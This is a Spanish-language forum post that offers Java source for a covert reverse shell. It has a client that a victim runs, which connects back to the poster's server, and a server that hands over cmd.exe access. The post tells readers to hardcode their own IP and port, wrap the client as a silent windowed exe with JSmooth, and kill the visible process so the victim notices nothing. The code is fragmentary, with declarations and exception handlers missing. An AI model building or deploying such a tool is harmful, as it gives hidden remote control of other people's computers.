Aunque ha quedado mas largo de lo que me gustaria....
Bueno, pues es eso, dejais a la escucha el servidor y cuando alguien ejecute el cliente os devuelve acceso a una linea de comandos sin que a el le aparezca nada :3
Hay que ponerle tu ip y un puerto en los valores por defectos dentro del cliente para que se conecte automaticamente
En cuanto al puerto, cuanto mas alto, mas gloria (no useis uno bajo...)
Lo suyo es que si lo vais a usar comprimais en un jar el servidor y en otro el cliente, y luego el cliente lo convirtais en un exe con JSmooth
Para ello en el JSmooth le poneis:
-En Skeleton: Windowed Wrapper y le borrais todos los mensajes
-En Executable los valores que querais
-En Application le añadis el jar y le selecionas la main class, acordaros tambien de añadir el mismo jar en lo de embedded jar
Cliente
-Main
Código
/** * * Autor: Danther * Fecha: 03/08/2009 * **/ package reverse_cliente; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.io.PrintWriter; import java.net.Socket; public class Main { public static boolean activo = true; private char unidad; //Abrimos un socket hacia nuestra maquina try{ } //Creamos los stream socket, para recibir los comandos try{ envioRespuesta.println("Conexion abierta desde "+s.getInetAddress().toString()+" por el puerto "+s.getLocalPort()); envioRespuesta.flush(); } //Obtenemos la unidad en la que se encuentra este archivo unidad = this.getClass().getResource("").getPath().charAt(6); directorio = unidad+":"barra invertida""barra invertida""; //Poner las barras invertidas de verdad antes de compilar, //las he quitado por problemas con el code de phpbb //Abrimos el interprete de comandos en la raiz de la unidad y se lo pasamos a Lectura try { //Finalizamos el proceso del ejecutable, y dejamos solo el cmd.exe y java corriendo envioComando.println("taskkill /F /IM Reverse_Cliente.exe"); envioComando.println(); envioComando.flush(); } } private void Reverse(){ String com; String resp; try { envioRespuesta.println(lecturaComando.readLine()); envioRespuesta.println(lecturaComando.readLine()); envioRespuesta.flush(); activo = false; this.close(); } //Bucle principal while(activo){ //Esperamos una nueva orden, en caso de ser C3rrand0 finaliza la ejecucion try{ com = comandos.readLine(); if(com.indexOf("C3rrand0") != -1){ activo = false; this.close(); break; } activo = false; this.close(); break; } //Ejecutamos la nueva orden y enviamos la respuesta try{ envioComando.println(com); envioComando.println("55221276"); envioComando.flush(); while((resp = lecturaComando.readLine()).indexOf("55221276") == -1){ envioRespuesta.println(resp); envioRespuesta.flush(); } } } } private void close(){ //Cerramos los streams y el socket try { lecturaComando.close(); envioRespuesta.close(); envioComando.close(); comandos.close(); s.close(); } } Main main = null; if(args.length == 2){ main = new Main(args); main.Reverse(); }else if(args.length != 0){ //Si se ejecuta sin argumentos }else{ main = new Main(argsD); main.Reverse(); } } }
Servidor
-Main
Código
/** * * Autor: Danther * Fecha: 03/08/2009 * **/ package reverse_servidor; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.io.PrintWriter; import java.net.ServerSocket; import java.net.Socket; import java.util.logging.Level; import java.util.logging.Logger; public class Main { protected static boolean activo = true; try { //Creamos el servidor y esperamos a una conexion entrante s = ss.accept(); //Creamos un stream para enviar comandos y otro para leer nuestra entrada //Iniciamos el thread lectura Lectura lectura = new Lectura(s); lectura.start(); Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex); } } private void Envio() { String env; //Bucle principal while(activo){ //Leemos nuestra entrada y la enviamos al cliente, si esta es C3rrand0 ceramos la conexion try { env = envio.readLine(); comandos.println(env); comandos.flush(); if(env.indexOf("C3rrand0") != -1){ activo = false; this.close(); break; } Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex); activo = false; this.close(); break; } } } private void close() { //Cerramos los stream y los sockets try { Lectura.respuesta.close(); comandos.close(); envio.close(); s.close(); ss.close(); Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex); } } Main main = null; if(args.length == 2){ main = new Main(args); main.Envio(); }else if(args.length != 0){ }else{ //Si se ejecuta sin argumentos main = new Main(argsD); main.Envio(); } } }
-Lectura
Código
/** * * Autor: Danther * Fecha: 03/08/2009 * **/ package reverse_servidor; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.Socket; //Creamos un stream para leer lo que envie el socket } @Override public void run() { String resp; //Blucle principal while(Main.activo){ //Leemos la entrada del socket y la mostramos try { resp = respuesta.readLine(); if (resp != null){ } Main.activo = false; } } } }
Pd: Como lo useis, modifiqueis y/o integreis, es cosa vuestra :3 XD